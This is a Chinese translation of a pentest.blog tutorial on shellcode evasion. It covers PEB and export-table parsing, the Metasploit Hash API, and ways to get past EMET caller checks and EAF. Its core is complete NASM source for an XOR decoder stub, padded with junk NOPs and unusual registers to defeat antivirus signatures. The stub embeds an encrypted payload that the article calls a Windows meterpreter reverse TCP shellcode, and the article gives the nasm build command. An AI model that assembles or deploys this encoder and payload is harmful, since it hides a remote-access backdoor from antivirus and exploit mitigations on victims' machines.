反检测技术三:Shellcode 炼金术

翻译

本文将讨论一些基本的Shellcode编码概念,以及汇编中如何设计Encoder/Decoder来绕过EMET等反攻击解决方案的几种方法。为了方便理解本文的内容,读者需要至少具有中级x86汇编知识和对基本文件格式(如COFFPE)的正确理解。

以下两篇文章将有助您理解本文中AV产品和术语所使用的基本检测技术的内部原理:

中文翻译地址:

译者注:
EMET(增强的缓解体验工具包) 是一款可防止软件中漏洞受到利用的实用工具。EMET 通过使用安全缓解技术来实现此目的。这些技术用作特殊防护和阻挡,导致利用者必须攻克障碍才能利用软件漏洞。这些安全缓解技术不保证这些漏洞不被利用。而是尽量使漏洞的利用变得尽可能困难。

1. 背景说明

Shellcode 在网络安全领域中起着非常重要的作用,它被广泛应用于恶意软件和漏洞中。

什么是Shellcode?

Shellcode基本上是一系列字节,将被解释为CPU上的指令,编写Shellcode的主要目的是利用漏洞在系统上执行任意字节(例如溢出漏洞)指令,因为Shellcode可以直接在内存中运行,所以在恶意软件中被大量的利用,Shellcode的名称通常是Shellcode的返回一个可以执行命令的系统 Shell。

但今天,在时间的意义上已经演变为所有编译器生成的程序都可以转换为Shellcode,因为编写Shellcode涉及对目标架构和操作系统的汇编语言的深入了解,本文将假设读者知道如何在WindowsLinux环境中编写程序。

互联网上有很多开放源码的Shellcode,但是为了满足不同漏洞的利用要求,每个网络安全研究人员都应该能够编写他/她自己的Shellcode,同时这也将有助于了解一些操作系统的关键概念。本文的目的是理解基本编写Shellcode的概念,并使用有效的方法来降低Shellcode被检测出来的概率。

2. 专业术语

进程环境块(PEB):

进程环境块(PEB,Process Environment Block)是Windows NT操作系统系列中的数据结构。它是由内部操作系统使用的不透明数据结构,大多数的字段不适用于非Windows NT内核的操作系统。[1]
Microsoft 在其 MSDN Library 文档中只记录了一些个字段,该结构可能会在将来的 Windows 版本中被更改。[2]

PEB 包含适用于整个进程的数据结构,其中包括: 全局上下文、启动参数、用于程序镜像加载器的数据结构、程序图像基地址和用于为进程范围的数据结构提供互斥的同步对象。

导入地址表(IAT):

导入地址表 (IAT,Import Address Table),当应用程序在不同模块中调用函数时,地址表用作查找。它可以是通过顺序数导入和按名称导入的形式。

由于编译程序时无法知道依赖于哪个库的内存位置,因此只要进行 API 调用就需要间接跳转。当动态链接器加载模块并将它们连接在一起时,它将实际地址写入IAT插槽,使它们指向相应库函数的内存位置。

数据执行保护(DEP):

数据执行保护(DEP,Data Execution Prevention)是一套硬件和软件技术,可对内存执行额外检查,以防止恶意代码在系统上运行。在 Microsoft Windows XP Service Pack 2(SP2)和 Microsoft Windows XP Tablet PC Edition 2005 中,DEP 由硬件和软件实现。 DEP 的主要优点是帮助防止代码从数据页执行。通常,代码不会从默认堆和栈执行。硬件强制 DEP 检测从这些位置运行的代码,并在执行发生时引发异常。软件执行的 DEP 可以帮助防止恶意代码利用 Windows 中的异常处理机制。

地址空间布局随机化(ASLR):

地址空间布局随机化(ASLR)是一种涉及防止缓冲区溢出攻击的计算机安全技术。为了防止攻击者可靠地跳转到例如存储器中的特定利用功能,ASLR 会随机布置进程中关键数据区域的地址空间位置,包括可执行文件的基址、栈、堆和 lib 库的位置。

stdcall 调用约定:

标准调用约定是 Pascal 调用约定的一个变体,被调用方负责清理堆栈,但参数按照从右到左的顺序被推到堆栈上。如 _cdecl 调用约定,注册 EAX、ECX 和 EDX 被指定用于该功能,返回值存储在 EAX 寄存器中。stdcall 是 Microsoft Win32 API 和 Open Watcom C ++ 的标准调用约定。

3. 基本的 Shellcode 编写

为不同的操作系统编写Shellcode需要不同的方法,UNIX 的操作系统提供了通过int 0x80接口与内核通信的直接方式,基于 UNIX 的操作系统中的所有系统调用都有唯一的编号,调用0x80的中断代码(int 0x80),内核使用给定的数字和参数执行系统调用。

但在 Windows 系统中没有直接的内核接口,这意味着必须有精确的指针(内存地址)才能对函数进行调用,不幸的是硬编码地址功能并不能完全解决问题,Windows 中的每个函数地址在每个 Service Pack 版本甚至配置中都会发生变化,使用硬编码地址会使得 Shellcode的版本依赖性高。在 Windows 上编写独立版本的 Shellcode 可以解决寻址问题,这可以通过在运行时动态查找函数地址来实现。

4. 解决寻址问题

在这段时间内,作者发现了一个在运行时找到 Windows API 函数的地址的方法,在本文中,我们将重点介绍一种称为PEB解析的具体方法,该方法使用PEB数据结构来定位加载的 DLL 的基址,并通过解析出口地址表(EAT)来查找其函数地址,几乎所有版本独立的 Windows Shellcode 在 Metasploit 框架内使用这种技术来查找 Windows API 函数的地址。

Shellcode 巫术正在使用这种方法利用 “FS” 段寄存器,在 Windows 中,此寄存器指出线程环境块(TEB)地址,TEB 块包含很多有用的数据,包括我们正在寻找的PEB结构,当Shellcode在内存中执行时,我们需要从 TEB 块的开头向前移动 48 个字节,

xor eax,eax
mov edx,[fs:eax+48]

现在我们得到了指向PEB结构的指针。

获取PEB结构指针后,现在我们将从PEB块的开头向前移动 12 个字节,以获取PEB块内的Ldr数据结构指针的地址,

mov edx,[edx+12]

Ldr结构包含有关进程加载的模块信息,如果我们在Ldr结构中进一步移动 20 字节,我们将从InMemoryOrderModuleList到达第一个模块。

mov edx,[edx+20]

现在我们的指针指向InMemoryOrderModuleList的是一个LIST_ENTRY结构,Windows 将此结构定义为 “包含加载过程模块的双向链表头”。

列表中的每个项目都是一个指向LDR_DATA_TABLE_ENTRY结构的指针,这个结构是我们的主要目标。它包含加载的DLL(模块)的全名和基地址,因为加载的模块顺序可以改变,所以我们要检查全名,以便能够找到正在寻找的正确函数 DLL。

如果 DLL 名称与我们正在寻找的名称匹配,则可以轻松地从LDR_DATA_TABLE_ENTRY的开头向前移动 40 个字节,因为我们可以继续在LDR_DATA_TABLE_ENTRY中向前移动 16 个字节后,就可以最终找到加载 DLL 的基址了。

mov edx,[edx+16]

完成获取函数地址的第一步后,现在我们有包含所需函数的 DLL 的基地址,我们必须解析 DLL 的导出地址表以找到依赖的函数地址,导出地址表位于 PE 可选头内,从基地址向前移动 60 个字节,我们现在有一个指向内存中 DLL 的 PE 头的指针,

最后我们需要用(模块基地址 + PE头地址 + 120 字节)公式计算导出地址表(EAT)的地址,在获取 EAT 地址后,我们现在可以访问 DLL 导出的所有函数,Microsoft 以下图描述了IMAGE_EXPORT_DIRECTORY结构。

此结构包含导出函数的地址、名称和编号。使用相同大小的计算遍历技术,可以在该结构内获得所需的函数地址,当然导出函数的顺序可能会在每个 Windows 版本中有所不同,在获得函数地址时,应先检查函数的名称在确定函数名称后。

你可以理解这是关于计算一些 Windows 数据结构的大小并在内存中遍历的方法,这里的难点是如何建立一个可靠的名称比较机制,来选择正确的 DLL 与函数。

如果你认为PEB解析技术太难以实现,不要担心,有更简单的方法来做到这一点。

5. Hash API

Metasploit 项目中几乎所有的Shellcode都使用一个名为 Hash API 的程序集,它是由 Stephen Fewer 编写的一段很优秀的代码,自 2009 年以来,它被大多数 Windows 用于 Metasploit 内的 Shellcode

该模块使得解析 PEB 结构更加容易,它使用基本的 PEB 解析逻辑和一些额外的散列方法来快速找到所需的函数,计算函数和模块名称的 ROR13 散列。

这个模块的用法很简单,它使用 stdcall 调用约定只区分是在推送依赖的函数参数后,需要 ROR13 散列的函数名和包含该函数的 DLL 名称,在推送所需参数和函数散列后,如前面所说的来解析 PEB 块,并找到模块名称,
找到后计算出 ROR13 散列并将其保存到堆栈,然后移动到 DLL 的导出地址表,并计算每个函数名称的 ROR13 散列,计算出每个函数名称 Hash 和模块名称 Hash 的总和,如果匹配到我们正在寻找的 Hash,这意味着找到了所需的函数,最后 Hash API 使用堆栈中传递的参数跳转到找到的函数地址。

由于此方法的广泛流行与使用,而被一些 AV 产品和反剥削缓解专门针对。甚至一些 AV 产品对 Hash API 使用的 ROR13 哈希值作为识别恶意文件的签名。在操作系统的安全攻防对抗中,Hash API 的使用已经不那么流行,但还有其他的方法可以找到 Windows API 的函数地址,我们仍然可以使用一些编码机制来绕过大部分的 AV 产品。

6. Encoder/Decoder 设计

在开始设计之前,读者必须承认一个事实:单独用此编码器不会产生完全不执行Shellcode; 执行完Shellcode后,解码器将整个Shellcode解码为其原始格式,这将不能绕过 AV 产品的动态分析机制。

解码器逻辑很简单,它将使用随机生成的多字节 XOR 密钥来解码Shellcode,在解码操作之后执行。在将Shellcode放入解码器头部之前,应使用多字节 XOR 密钥进行加密,并将Shellcode和 XOR 密钥放在“<Shellcode>”、“<Key>”标签内:


;  #===============================#
;  |ESI -> Pointer to shellcode    |
;  |EDI -> Pointer to key          |
;  |ECX -> Shellcode index counter |
;  |EDX -> Key index counter       |
;  |AL  -> Shellcode byte holder   |
;  |BL  -> Key byte holder         |
;  #===============================#
;
[BITS 32]
[ORG 0]
 JMP GetShellcode         ; Jump to shellcode label
Stub: 
 POP ESI                  ; Pop out the address of shellcode to ESI register 
 PUSH ESI                 ; Save the shellcode address to stack 
 XOR ECX,ECX              ; Zero out the ECX register
GetKey: 
 CALL SetKey              ; Call the SetKey label
 Key: DB             ; Decipher key
 KeyEnd: EQU $-Key        ; Set the size of the decipher key to KeyEnd label
SetKey:
 POP EDI                  ; Pop the address of decipher key to EDI register
 XOR EDX,EDX              ; Zero out the EDX register
Decipher: 
 MOV AL,[ESI]             ; Move 1 byte from shellcode to AL register
 MOV BL,[EDI]             ; Move 1 byte from decipher key to BL register
 XOR AL,BL                ; Make a logical XOR operation between AL ^ BL
 MOV [ESI],AL             ; Move back the deciphered shellcode byte to same index
 INC ESI                  ; Increase the shellcode index
 INC EDI                  ; Increase the key index
 INC ECX                  ; Increase the shellcode index counter
 INC EDX                  ; Increase the key index counter
 CMP ECX,End             ; Compare the shellcode index counter with shellcode size 
 JE Fin                   ; If index counter is equal to shellcode size,jump to Fin label
 CMP EDX,KeyEnd           ; Compare the key index counter with key size 
 JE GetKey                ; If key index counter is equal to key size,jump to GetKey label for reseting the key
 JMP Decipher             ; Repeate all operations
Fin:                      ; In here deciphering operation is finished
 RET                      ; Execute the shellcode
GetShellcode:
 CALL Stub                ; Jump to Stub label and push the address of shellcode to stack
 Shellcode: DB 
 End: EQU $-Shellcode     ; Set the shellcode size to End label

这段代码相对好理解,使用 JMP/CALL 技巧,在运行时获取Shellcode和 key 的地址,然后在Shellcode和 key 的每个字节之间执行逻辑异或运算,每次解密密钥到达结束时,它将重新设置密钥的起始地址,完成解码操作后,将跳转到Shellcode

使用过长的 XOR 密钥可增加了Shellcode的随机性,但也增加了代码块的熵,所以应该避免使用太长的解密密钥。

使用诸如 XOR、NOT、ADD、SUB、ROR、ROL 之类的基本逻辑运算的Shellcode编码有数百种方法,每个编码器程序都有无限可能的Shellcode输出,

AV 产品在解码序列之前检测到Shellcode的任何签名的可能性非常低,由于这种 AV 产品还开发了能够检测代码块内的解密和解码循环的启发式引擎,在编写Shellcode编码器时,绕过用于检测解码器循环的静态方法几乎没有什么好的方式,

6.1 不常见的注册用法

在 x86 架构中,所有寄存器都有一个特定的目的,例如 ECX 代表扩展计数器寄存器,它通常用作循环计数器。当我们在任何编译语言中编写基本循环条件时,编译器可能会使用 ECX 寄存器作为循环计数器变量,在代码块内发现连续增加的 ECX 寄存器强烈地表示启发式引擎的循环。

解决这个问题很简单,不用 ECX 寄存器进行循环计数,这只是一个例子,但它对于所有其他刻板的代码片段(如函数结尾/序言等)也是非常有效的。很多代码识别机制取决于寄存器的使用情况,编写具有异常寄存器使用的汇编代码将降低检测率。

6.2 垃圾代码填充

识别代码块内的解码器有很多种方式,几乎所有 AV 产品都使用不同的解码器方法,但最终他们必须生成用于静态检查可能的解码器或解密器的代码块的签名。

在解码器代码中使用随机 NOP 指令是绕过静态签名分析的好方法,它不必是具体的 NOP 指令,它可以是维护原始代码功能的任何指令,目的是添加垃圾指令以分解代码块内的恶意签名。

编写Shellcode的另一个重要事情就是大小,所以避免在解码器中使用太多的垃圾混淆代码,否则会增加整体大小,实现这个方法后,结果代码看起来像这样:


;  #==============================#
;  |ESI -> Pointer to shellcode   |
;  |EDI -> Pointer to key         |
;  |EAX -> Shellcode index counter|
;  |EDX -> Key index counter      |
;  |CL  -> Shellcode byte holder  |
;  |BL  -> Key byte holder        |
;  #==============================#
;
[BITS 32]
[ORG 0]
    JMP GetShellcode                ; Jump to shellcode label
Stub:       
    POP ESI                         ; Pop out the address of shellcode to ESI register        
    PUSH ESI                        ; Save the shellcode address to stack 
    XOR EAX,EAX                     ; Zero out the EAX register
GetKey:     
    CALL SetKey                     ; Call the SetKey label
    Key: DB 0x78,0x9b,0xc5,0xb9,0x7f,0x77,0x39,0x5c,0x4f,0xa6                 ; Decipher key
    KeyEnd: EQU $-Key               ; Set the size of the decipher key to KeyEnd label
SetKey:
    POP EDI                         ; Pop the address of decipher key to EDI register
    NOP                             ; [GARBAGE]
    XOR EDX,EDX                     ; Zero out the EDX register
    NOP                             ; [GARBAGE]
Decipher:       
    NOP                             ; [GARBAGE]
    MOV CL,[ESI]                    ; Move 1 byte from shellcode to CL register
    NOP                             ; [GARBAGE]
    NOP                             ; [GARBAGE]
    MOV BL,[EDI]                    ; Move 1 byte from decipher key to BL register
    NOP                             ; [GARBAGE]
    XOR CL,BL                       ; Make a logical XOR operation between CL ^ BL
    NOP                             ; [GARBAGE]
    NOP                             ; [GARBAGE]
    MOV [ESI],CL                    ; Move back the deciphered shellcode byte to same index
    NOP                             ; [GARBAGE]
    NOP                             ; [GARBAGE]
    INC ESI                         ; Increase the shellcode index
    INC EDI                         ; Increase the key index
    INC EAX                         ; Increase the shellcode index counter
    INC EDX                         ; Increase the key index counter
    CMP EAX,End                    ; Compare the shellcode index counter with shellcode size 
    JE Fin                          ; If index counter is equal to shellcode size,jump to Fin label
    CMP EDX,KeyEnd                  ; Compare the key index counter with key size 
    JE GetKey                       ; If key index counter is equal to key size,jump to GetKey label for reseting the key
    JMP Decipher                    ; Repeate all operations
Fin: ; In here deciphering operation is finished
    RET                             ; Execute the shellcode
GetShellcode:
    CALL Stub                       ; Jump to Stub label and push the address of shellcode to stack
    Shellcode: DB  0x84,0x73,0x47,0xb9,0x7f,0x77,0x59,0xd5,0xaa,0x97,0xb8,0xff,
  0x4e,0xe9,0x4f,0xfc,0x6b,0x50,0xc4,0xf4,0x6c,0x10,0xb7,0x91,
  0x70,0xc0,0x73,0x7a,0x7e,0x59,0xd4,0xa7,0xa4,0xc5,0x7d,0x5b,
  0x19,0x9d,0x80,0xab,0x79,0x5c,0x27,0x4b,0x2d,0x20,0xb2,0x0e,
  0x5f,0x2d,0x32,0xa7,0x4e,0xf5,0x6e,0x0f,0xda,0x14,0x4e,0x77,
  0x29,0x10,0x9c,0x99,0x7e,0xa4,0xb2,0x15,0x57,0x45,0x42,0xd2,
  0x4e,0x8d,0xf4,0x76,0xef,0x6d,0xb0,0x0a,0xb9,0x54,0xc8,0xb8,
  0xb8,0x4f,0xd9,0x29,0xb9,0xa5,0x05,0x63,0xfe,0xc4,0x5b,0x02,
  0xdd,0x04,0xc4,0xfe,0x5c,0x9a,0x16,0xdf,0xf4,0x7b,0x72,0xd7,
  0x17,0xba,0x79,0x48,0x4e,0xbd,0xf4,0x76,0xe9,0xd5,0x0b,0x82,
  0x5c,0xc0,0x9e,0xd8,0x26,0x2d,0x68,0xa3,0xaf,0xf9,0x27,0xc1,
  0x4e,0xab,0x94,0xfa,0x64,0x34,0x7c,0x94,0x78,0x9b,0xad,0xce,
  0x0c,0x45,0x66,0x08,0x27,0xea,0x0f,0xbd,0xc2,0x46,0xaa,0xcf,
  0xa9,0x5d,0x4f,0xa6,0x51,0x5f,0x91,0xe9,0x17,0x5e,0xb9,0x37,
  0x4f,0x59,0xad,0xf1,0xc0,0xd1,0xbf,0xdf,0x3b,0x47,0x27,0xa4,
  0x78,0x8a,0x99,0x30,0x99,0x27,0x69,0x0c,0x1f,0xe6,0x28,0xdb,
  0x95,0xd1,0x95,0x78,0xe6,0xbc,0xb0,0x73,0xef,0xf1,0xd5,0xef,
  0x28,0x1f,0xa0,0xf9,0x3b,0xc7,0x87,0x4e,0x40,0x79,0x0b,0x7b,
  0xc6,0x12,0x47,0xd3,0x94,0xf3,0x35,0x0c,0xdd,0x21,0xc6,0x89,
  0x25,0xa6,0x12,0x9f,0x93,0xee,0x17,0x75,0xe0,0x94,0x10,0x59,
  0xad,0x10,0xf3,0xd3,0x3f,0x1f,0x39,0x4c,0x4f,0xa6,0x2e,0xf1,
  0xc5,0xd1,0x27,0xd3,0x6a,0xb9,0xb0,0x73,0xeb,0xc8,0xaf,0xb9,
  0x29,0x24,0x6e,0x34,0x4d,0x7f,0xb0,0xc4,0x3a,0x6c,0x7e,0xb4,
  0x10,0x9a,0x3a,0x48,0xbb
    End: EQU $-Shellcode            ; Set the shellcode size to End label

EAX 和 ECX 寄存器之间只有改变,现在负责计算Shellcode索引的寄存器是 EAX,并且在每个 XOR 和 MOV 指令之间都有几行 NOP 填充行。

本教程使用的 Shellcode是 Windows meterpreter 反向 TCP,在使用 10 字节长的随机 XOR 密钥加密Shellcode之后,都放置在解码器内,使用nasm -f bin Decoder.asm命令将解码器组合为二进制格式(不要忘记删除Shellcode上的换行符,否则 nasm 不会将其组合)。

这是未编码Shellcode的 AV 扫描结果。

你可以看到很多 AV 扫描仪识别出 Shellcode,下图是编码后的结果,

7. 反 EMET

当涉及绕过 AV 产品时,有很多方法可以使用,但 EMET 的出现提高了绕过的难度(Microsoft 于 2009 年宣布了 EMET)。EMET 它是一个有助于防止软件中的漏洞被成功利用的实用程序,它有以下几个保护机制:

  • 动态数据执行预防 (DEP)
  • 结构异常处理程序覆盖保护 (SEHOP)
  • 空页分配
  • 堆喷射保护
  • 导出地址表地址过滤 (EAF)
  • 强制性 ASLR
  • 导出地址表访问过滤增强版 (EAF+)
  • ROP 缓解
    • 加载库检查
    • 内存保护检查
    • 调用者检查
    • 模拟执行流程
    • 换栈 (Stack pivot)
  • 攻击面降低 (ASR)

在这些缓解之中 EAF、EAF+ 和调用者检查都涉及到我们如前所述,Metasploit 框架内的几乎所有Shellcodes都使用 Stephen Fewer 的 Hash API 并且由于 Hash API 应用了 PEB/EAT 解析技术,EMET 能够很容易检测并防止Shellcode的执行。

8. 绕过 EMET

EMET 内部的调用者检查进程进行的 Windows API 调用,它阻止 Win API 函数内的 RETand JMPinstructions,以防止使用返回定向编程(ROP)方法的所有漏洞,在 Hash API 中找到所需的 Win API 函数地址之后,JMP 指令用于执行该功能,不幸的是这将触发 EMET 调用者者检查,为了绕过调用者检查,应避免使用指向 Win API 函数的 JMPand RETinstructions

用 CALL 替换用于执行 Win API 函数的 JMP 指令,Hash API 应该通过调用者检查,但是当我们查看 EAF/EAF+ 缓解技术时,它们阻止访问导出地址表(EAT)进行读/写访问,具体取决于所调用的代码,并且它检查堆栈寄存器是否在允许的边界内,

还试图检测特定章节和KERNELBASE的MZ / PE标题上的读取尝试,这是一种防止EAT解析技术的非常有效的缓解方法,但是EAT不是唯一包含所需功能地址的结构,导入地址表(IAT)也包含应用程序使用的Win API函数地址,

如果应用程序也使用所需的功能,可以收集IAT结构内的功能地址,一名网络安全研究员Joshua Pitts最近开发出了一种新的IAT解析方法,它在导入地址表中找到LoadLibraryA和GetProcAddress Windows API函数,在获得这些功能地址后,

可以提取任何库中的任何函数,他还写了一个名为fido的工具,用于分析Stephen Fewer的Hash API,并用他写的IAT解析代码替代,如果您想了解更多有关此方法的信息,请在此处查看,

原文地址: https://pentest.blog/art-of-anti-detection-3-shellcode-alchemy/

9. 原文链接

10. 译者参考